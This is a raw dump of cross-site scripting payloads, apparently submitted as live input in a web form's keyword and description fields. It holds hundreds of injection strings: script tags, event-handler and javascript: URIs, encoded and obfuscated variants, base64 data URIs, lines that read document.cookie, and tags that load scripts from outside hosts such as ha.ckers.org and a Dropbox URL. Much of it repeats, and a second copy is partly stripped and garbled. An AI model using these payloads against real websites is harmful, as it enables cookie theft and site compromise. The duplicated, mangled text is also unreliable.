AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\na=\\\"get\\\";b=\\\"URL(ja\\\\\\\"\\\";c=\\\"vascr\\\";d=\\\"ipt:ale\\\";e=\\\"rt(\\\'XSS\\\');\\\\\\\")\\\";eval(a+b+c+d+e);\\r\\n<SCRIPT SRC=\\\"http://ha.ckers.org/xss.jpg\\\"></SCRIPT>\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\\\"></BODY></HTML>\\r\\n<SCRIPT>document.write(\\\"<SCRI\\\");</SCRIPT>PT SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"javascript:alert(123)\\\">TESTHTML5FORMACTION\\r\\n<form><button formaction=\\\"javascript:alert(123)\\\">crosssitespt\\r\\n<frameset onload=alert(123)>\\r\\n<!--<img src=\\\"--><img src=x onerror=alert(123)//\\\">\\r\\n<style><img src=\\\"</style><img src=x onerror=alert(123)//\\\">\\r\\n<object data=\\\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\">\\r\\n<embed src=\\\"javascript:alert(1)\\\">\\r\\n<? foo=\\\"><script>alert(1)</script>\\\">\\r\\n<! foo=\\\"><script>alert(1)</script>\\\">\\r\\n</ foo=\\\"><script>alert(1)</script>\\\">\\r\\n<script>({0:#0=alert/#0#/#0#(123)})</script>\\r\\n<script>ReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){alert(123)}),x</script>\\r\\n<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'alert(1)\\\')()</script>\\r\\n<script src=\\\"#\\\">{alert(1)}</script>;1\\r\\n<script>crypto.generateCRMFRequest(\\\'CN=0\\\',0,0,null,\\\'alert(1)\\\',384,null,\\\'rsa-dual-use\\\')</script>\\r\\n<svg xmlns=\\\"#\\\"><script>alert(1)</script></svg>\\r\\n<svg onload=\\\"javascript:alert(123)\\\" xmlns=\\\"#\\\"></svg>\\r\\n<iframe xmlns=\\\"#\\\" src=\\\"javascript:alert(1)\\\"></iframe>\\r\\n+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-\\r\\n%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-\\r\\n+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-\\r\\n%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-\\r\\n%253cscript%253ealert(document.cookie)%253c/script%253e\\r\\n“><s”%2b”cript>alert(document.cookie)</script>\\r\\n“><ScRiPt>alert(document.cookie)</script>\\r\\n“><<script>alert(document.cookie);//<</script>\\r\\nfoo<script>alert(document.cookie)</script>\\r\\n<scr<script>ipt>alert(document.cookie)</scr</script>ipt>\\r\\n%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E\\r\\n‘; alert(document.cookie); var foo=’\\r\\nfoo\\\\’; alert(document.cookie);//’;\\r\\n</script><script >alert(document.cookie)</script>\\r\\n<img src=asdf onerror=alert(document.cookie)>\\r\\n<BODY ONLOAD=alert(’XSS’)>\\r\\n<script>alert(1)</script>\\r\\n\\\"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>\\r\\n<video src=1 onerror=alert(1)>\\r\\n<audio src=1 onerror=alert(1)>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n0\\\\\\\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>\\\"-confirm(3)-\\\"\\r\\n<script/src=data:,alert()>\\r\\n<marquee/onstart=alert()>\\r\\n<video/poster/onerror=alert()>\\r\\n<isindex/autofocus/onfocus=alert()>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=javascript:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=JaVaScRiPt:alert(\\\'XSS\\\')>\\r\\n<IMG SRC=javascript:alert(\\\"XSS\\\")>\\r\\n<IMG SRC=`javascript:alert(\\\"RSnake says, \\\'XSS\\\'\\\")`>\\r\\n<a onmouseover=\\\"alert(document.cookie)\\\">xxs link</a>\\r\\n<a onmouseover=alert(document.cookie)>xxs link</a>\\r\\n<IMG \\\"\\\"\\\"><SCRIPT>alert(\\\"XSS\\\")</SCRIPT>\\\">\\r\\n<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=# onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC= onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG onmouseover=\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC=/ onerror=\\\"alert(String.fromCharCode(88,83,83))\\\"></img>\\r\\n<IMG SRC=javascript:alert(\\r\\n'XSS')>\\r\\n<IMG SRC=javascript:a&\\r\\n#0000108ert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=\\\"jav ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav	ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"  javascript:alert(\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\"></SCRIPT>\\r\\n<<SCRIPT>alert(\\\"XSS\\\");//<</SCRIPT>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >\\r\\n<SCRIPT SRC=//ha.ckers.org/.j>\\r\\n<IMG SRC=\\\"javascript:alert(\\\'XSS\\\')\\\"\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</script><script>alert(\\\'XSS\\\');</script>\\r\\n</TITLE><SCRIPT>alert(\\\"XSS\\\");</SCRIPT>\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<BODY BACKGROUND=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG DYNSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"javascript:alert(\\\'XSS\\\')\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"javascript:alert(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG SRC=\\\'vbscript:msgbox(\\\"XSS\\\")\\\'>\\r\\n<IMG SRC=\\\"livescript:[code]\\\">\\r\\n<BODY ONLOAD=alert(\\\'XSS\\\')>\\r\\n<BGSOUND SRC=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:alert(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{-moz-binding:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");\\r\\nxss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<STYLE TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"javascript:alert(\\\'XSS\\\')\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:alert(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS STYLE=\\\"xss:expression(alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"behavior: url(xss.htc);\\\">\\r\\n¼script¾alert(¢XSS¢)¼/script¾\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:alert(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:alert(\\\'XSS\\\');\\\"></FRAMESET>
keyword(s): z
description: \\\'\\\';!--\\\"<XSS>=&{()}\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\"XSS\\\")>\\r\\n<IMG SRC=`(\\\"RSnake says, \\\'XSS\\\'\\\")`>\\r\\n<a =\\\"alert()\\\">xxs link</a>\\r\\n<a =alert()>xxs link</a>\\r\\n<IMG \\\"\\\"\\\">alert(\\\"XSS\\\")\\\">\\r\\n<IMG SRC=(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=# =\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC= =\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG =\\\"alert(\\\'xxs\\\')\\\">\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=javascript:alert('XSS')>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav	ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\n<IMG SRC=\\\"jav
ascript:alert(\\\'XSS\\\');\\\">\\r\\nperl -e \\\'print \\\"<IMG SRC=java\\\\0script:alert(\\\\\\\"XSS\\\\\\\")>\\\";\\\' > out\\r\\n<IMG SRC=\\\"  (\\\'XSS\\\');\\\">\\r\\n<SCRIPT/XSS SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n<SCRIPT/SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<alert(\\\"XSS\\\");//<\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >\\r\\n<SCRIPT SRC=//ha.ckers.org/.j>\\r\\n<IMG SRC=\\\"(\\\'XSS\\\')\\\"\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html <\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>alert(\\\"XSS\\\");\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BODY BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG DYNSRC=\\\"(\\\'XSS\\\')\\\">\\r\\n<IMG LOWSRC=\\\"(\\\'XSS\\\')\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG SRC=\\\'(\\\"XSS\\\")\\\'>\\r\\n<IMG SRC=\\\"\\\">\\r\\n<BODY =alert(\\\'XSS\\\')>\\r\\n<BGSOUND SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(alert(\\\"XSS\\\"))\\\'>\\r\\n<STYLE TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"(\\\'XSS\\\')\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS STYLE=\\\"xss:alert(\\\'XSS\\\'))\\\">\\r\\n<XSS STYLE=\\\"(xss.htc);\\\">\\r\\nalert(\\\'XSS\\\');\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT =\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=`>` SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n(\\\"<SCRI\\\");PT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<A HREF=\\\"http://66.102.7.147/\\\">XSS</A>\\r\\n<A HREF=\\\"http://www.google.com\\\">XSS</A>\\r\\n<A HREF=\\\"http://1113982867/\\\">XSS</A>\\r\\n<A HREF=\\\"http://0x42.0x0000066.0x7.0x93/\\\">XSS</A>\\r\\n<A HREF=\\\"http://0102.0146.0007.00000223/\\\">XSS</A>\\r\\n<A HREF=\\\"htt p://6 6.000146.0x7.147/\\\">XSS</A>\\r\\n<iframe src=\\\" (1) \\\">\\r\\n<svg><style>{font-family:\\\'<iframe/=confirm(1)>\\\'\\r\\n<input/=\\\"(1)\\\"\\r\\n<sVg><scRipt >alert(1) {Opera}\\r\\n<img/src=`` =this.=confirm(1) \\r\\n<form><isindex formaction=\\\"(1)\\\"\\r\\n<img src=``
=alert(1)
\\r\\n<script/ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\' / >\\r\\n<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?\\r\\n<iframe/src=\\\PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n<script /**/>/**/alert(1)/**/</script /**/\\r\\n"><h1/=\\\'\\\alert(1)\\\'>\\r\\n<iframe/src=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"
>X</a\\r\\nhttp://www.google<script .com>alert)</script\\r\\n<a href=[�]\\\"� =prompt(1)//\\\">XYZ</a\\r\\n<img/src=@
= prompt(\\\'1\\\')\\r\\n<style/=prompt(\\\'XSS\\\')\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n</style ><script :-(>/**/alert)/**/</script :-(\\r\\n�</form><input type=\\\"date\\\" =\\\"alert(1)\\\">\\r\\n<form><textarea
=\\\'\\\a\\\l\\\e\\\r\\\t(1)\\\'>\\r\\n<script /***/>/***/confirm(\\\'\\\ａ\\\ｌ\\\ｅ\\\ｒ\\\ｔ\\\ᑕ\\\１\\\ᑐ\\\')/***/</script /***/\\r\\n<iframe srcdoc=\\\'<body >\\\'>\\r\\n<a href=\\\"(0)\\\" =
(1)
>X</a>\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n<style/=<!-- >
alert
(1)>\\r\\n<///style///><span / =\\\'alert(1)\\\'>SPAN\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' = prompt(1)\\r\\n"><svg><style>{-o-link-source:\\\'<body/=confirm(1)>\\\'\\r\\n
<blink/
=prompt(1)> {Firefox & Opera}\\r\\n<marquee =\\\'(1)\\\'>^__^\\r\\n<div/style=\\\"width:confirm(1))\\\">X</div> {IE7}\\r\\n<iframe// src=(1)\\r\\n//<form/action=()><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/=this.=confirm(1)>\\\'</font>/</style>\\r\\n<a/href=\\\"; (1)\\\"><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/=prompt(1)\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n<a href=\\\"\\\alert(1)\\\"><button>\\r\\n<div =\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe style=\\\"position:absolute;top:0;left:0;width:100%;height:100%\\\" =\\\"prompt(1)\\\">\\r\\n<a href=\\\"(1)\\\">X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var =\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a href=()>Click Here</a>\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"=\\\'prompt(1)\\\'\\\">\\r\\n<%<!--\\\'%>alert(1);</script -->\\r\\n<script src=\\\<svg/=\\\alert(1)>\\\">X</a\\r\\n<iframe/=\\\a\\\l\\\e\\\r\\\t(\\\'\\\a\\\') worksinIE>\\r\\n~\\\'\\\a\\\' ; \\\t\\\h\\\r\\\o\\\w ~ \\\t\\\h\\\i\\\s. \\\a\\\l\\\e\\\r\\\t(~\\\'\\\a\\\')</script U+\\r\\n<script/src=\\\PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\\\">\\r\\n<script /**/>/**/alert(1)/**/</script /**/\\r\\n"><h1/=\\\'\\\alert(1)\\\'>\\r\\n<iframe/src=\\\PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\"
>X</a\\r\\nhttp://www.google<script .com>alert)</script\\r\\n<a href=[�]\\\"� =prompt(1)//\\\">XYZ</a\\r\\n<img/src=@
= prompt(\\\'1\\\')\\r\\n<style/=prompt(\\\'XSS\\\')\\r\\n<script ^__^>alert(String.fromCharCode(49))</script ^__^\\r\\n</style ><script :-(>/**/alert)/**/</script :-(\\r\\n�</form><input type=\\\"date\\\" =\\\"alert(1)\\\">\\r\\n<form><textarea
=\\\'\\\a\\\l\\\e\\\r\\\t(1)\\\'>\\r\\n<script /***/>/***/confirm(\\\'\\\ａ\\\ｌ\\\ｅ\\\ｒ\\\ｔ\\\ᑕ\\\１\\\ᑐ\\\')/***/</script /***/\\r\\n<iframe srcdoc=\\\'<body >\\\'>\\r\\n<a href=\\\"(0)\\\" =
(1)
>X</a>\\r\\n<script ~~~>alert(0%0)</script ~~~>\\r\\n<style/=<!-- >
alert
(1)>\\r\\n<///style///><span / =\\\'alert(1)\\\'>SPAN\\r\\n<img/src=\\\'http://i.imgur.com/P8mL8.jpg\\\' = prompt(1)\\r\\n"><svg><style>{-o-link-source:\\\'<body/=confirm(1)>\\\'\\r\\n
<blink/
=prompt(1)> {Firefox & Opera}\\r\\n<marquee =\\\'(1)\\\'>^__^\\r\\n<div/style=\\\"width:confirm(1))\\\">X</div> {IE7}\\r\\n<iframe// src=(1)\\r\\n//<form/action=()><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ <script //|\\\\\\\\ src=\\\'https://dl.dropbox.com/u/13018058/js.js\\\'> //|\\\\\\\\ </script //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/=this.=confirm(1)>\\\'</font>/</style>\\r\\n<a/href=\\\"; (1)\\\"><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/=prompt(1)\\r\\n</svg>\\\'\\\'<svg><script \\\'AQuickBrownFoxJumpsOverTheLazyDog\\\'>alert(1) {Opera}\\r\\n<a href=\\\"\\\alert(1)\\\"><button>\\r\\n<div =\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe style=\\\"xg-p:absolute;top:0;left:0;width:100%;height:100%\\\" =\\\"prompt(1)\\\">\\r\\n<a href=\\\"(1)\\\">X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var =\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a href=()>Click Here</a>\\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"=\\\'prompt(1)\\\'\\\">\\r\\n<%<!--\\\'%>alert(1);</script -->\\r\\n<script src=\\\<svg/=\\\alert(1)>\\\">X</a\\r\\n<iframe/=\\\a\\\l\\\e\\\r\\\t(\\\'\\\a\\\') worksinIE>\\r\\n~\\\'\\\a\\\' ; \\\t\\\h\\\r\\\o\\\w ~ \\\t\\\h\\\i\\\s. \\\a\\\l\\\e\\\r\\\t(~\\\'\\\a\\\')</script U+\\r\\n<script/src=\\\PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<EMBED SRC=\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n<SCRIPT a=\\\">\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=\\\">\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT \\\"a=\\\'>\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<SCRIPT a=\\\">\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n(\\\"<SCRI\\\");PT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<alert(\\\"XSS\\\");//<\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search\\r\\nalert(\\\"hellox worldss\\\")&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510\\r\\nalert(\\\"XSS\\\");&search=1\\r\\n0&q=\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert%2?8String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode?(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83)%?29//-->\\\">\\\'>alert(String.fromCharCode(88,83%?2C83))&submit-frmGoogleWeb=Web+Search\\r\\n<h1><font color=blue>hellox worldss</h1>\\r\\n<BODY =alert(\\\'hellox worldss\\\')>\\r\\n<input =write(XSS) autofocus>\\r\\n<input =write(XSS) autofocus><input autofocus>\\r\\n<body =alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form><button formaction=\\\"(XSS)\\\">lol\\r\\n<!--<img src=\\\"--><img src=x =alert(XSS)//\\\">\\r\\n<![><img src=\\\"]><img src=x =alert(XSS)//\\\">\\r\\n<style><img src=\\\"</style><img src=x =alert(XSS)//\\\">\\r\\n<? foo=\\\">alert(1)\\\">\\r\\n<! foo=\\\">alert(1)\\\">\\r\\n</ foo=\\\">alert(1)\\\">\\r\\n<? foo=\\\"><x foo=\\\'?>alert(1)\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo>alert(1)\\\">\\r\\n<% foo><x foo=\\\"%>alert(123)\\\">\\r\\n<div style=\\\"font-family:\\\'foo
;color:red;\\\';\\\">LOL\\r\\nLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>\\r\\n({0:#0=alert/#0#/#0#(0)})\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">LOLalert(123)</svg>\\r\\n\\r\\n\\\\\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>\\r\\n<INPUT TYPE=\\\\\\\"IMAGE\\\\\\\" SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<BODY BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<BODY >\\r\\n![]()
\\r\\n![]()
\\r\\n<BGSOUND SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n
\\r\\n<LAYER SRC=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></LAYER>\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"http://ha.ckers.org/xss.css\\\\\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\\\\\"Link\\\\\\\" Content=\\\\\\\"; REL=stylesheet\\\\\\\">\\r\\n<STYLE>BODY{:url(\\\\\\\"http://ha.ckers.org/xssmoz.xml#xss\\\\\\\")}</STYLE>\\r\\n\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"(\\\'XSS\\\')\\\\\\\");}</STYLE>- XSS\\r\\n
![]()
\\r\\n![]()
\\r\\n![]()
\\>\\>\\>&>\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</STYLE>\\r\\n![]()
